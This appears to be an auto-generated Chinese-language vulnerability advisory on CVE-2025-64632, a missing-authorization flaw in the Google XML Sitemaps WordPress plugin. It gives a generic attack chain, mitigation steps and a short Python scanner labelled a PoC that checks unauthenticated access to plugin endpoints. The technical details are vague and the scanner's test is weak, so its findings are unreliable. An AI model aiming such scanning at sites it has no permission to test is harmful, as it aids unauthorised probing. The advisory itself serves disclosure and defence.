IPBUF安全漏洞报告
English
CVE-2025-64632 CVSS 5.3 中危

CVE-2025-64632 WordPress Google XML Sitemaps 插件授权缺失漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-64632
漏洞类型
授权缺失/访问控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Auctollo Google XML Sitemaps (google-sitemap-generator) WordPress Plugin

相关标签

CVE-2025-64632授权缺失访问控制WordPressGoogle XML SitemapsAuctolloBroken Access ControlCMS漏洞插件漏洞

漏洞概述

CVE-2025-64632是WordPress平台上一个严重的授权缺失漏洞,位于Auctollo开发的Google XML Sitemaps插件中。该插件是WordPress生态中最受欢迎的站点地图生成工具之一,被数百万网站使用。漏洞源于插件对用户操作的访问控制验证不足,允许未经授权的用户执行本应需要特定权限才能完成的操作。攻击者无需认证即可利用此漏洞,绕过正常的权限检查机制,访问或修改敏感的配置信息和站点数据。此类授权缺失漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别,危害性在于其利用门槛低、影响范围广,可导致敏感数据泄露、配置篡改等安全问题。

技术细节

该漏洞存在于Google XML Sitemaps插件的访问控制逻辑中。插件在处理某些管理功能时,未正确验证当前用户是否具有相应的操作权限。具体表现为:插件的某些端点或函数缺少current_user_can()或is_user_logged_in()等权限检查函数,导致任何访问该端点的用户都能触发相关功能。攻击者可通过构造特定的HTTP请求,直接访问受保护的插件功能,如站点地图生成、配置更新等操作。由于CVSS评分5.3,攻击复杂度低(AC:L),无需认证(PR:N)且可通过网络(AV:N)直接利用,攻击者能够枚举和触发插件的内部功能,可能导致站点地图配置被篡改或敏感信息泄露。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站并确认安装了google-sitemap-generator插件(版本<=4.1.22)
STEP 2
步骤2
攻击者扫描插件的端点,识别缺少权限验证的管理功能接口
STEP 3
步骤3
攻击者构造恶意HTTP请求,无需登录即可访问受保护的插件功能
STEP 4
步骤4
通过授权绕过,攻击者执行配置修改、站点地图操作或数据读取
STEP 5
步骤5
成功利用后,攻击者可能获取敏感信息或篡改站点地图配置,影响SEO和网站功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-64632 PoC - Missing Authorization in Google XML Sitemaps # Target: WordPress site with google-sitemap-generator plugin <= 4.1.22 target_url = "http://target-wordpress-site.com" # Check if the plugin is installed and accessible plugin_paths = [ "/wp-content/plugins/google-sitemap-generator/", "/wp-content/plugins/google-sitemap-generator/sitemap-core.php", "/wp-admin/admin.php?page=sm_browse" ] def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-64632""" # Test unauthenticated access to plugin endpoints vulnerable_endpoints = [ "/wp-admin/admin-ajax.php?action=sm_ajax_call", "/wp-content/plugins/google-sitemap-generator/sitemap-core.php" ] results = [] for endpoint in vulnerable_endpoints: url = target_url + endpoint try: response = requests.get(url, timeout=10) # Check if we can access admin functionality without auth if response.status_code == 200: results.append(f"[+] Potentially vulnerable: {url}") else: results.append(f"[-] Not vulnerable or not found: {url}") except requests.RequestException as e: results.append(f"[!] Error accessing {url}: {str(e)}") return results if __name__ == "__main__": print("CVE-2025-64632 - Google XML Sitemaps Authorization Bypass") print("=" * 60) results = check_vulnerability() for result in results: print(result)

影响范围

google-sitemap-generator <= 4.1.22

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 临时禁用google-sitemap-generator插件;2) 使用Web应用防火墙(WAF)规则限制对插件端点的访问;3) 通过.htaccess或nginx配置限制/admin路径的访问权限;4) 监控服务器日志,关注异常的插件端点访问行为;5) 考虑使用替代的站点地图生成插件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表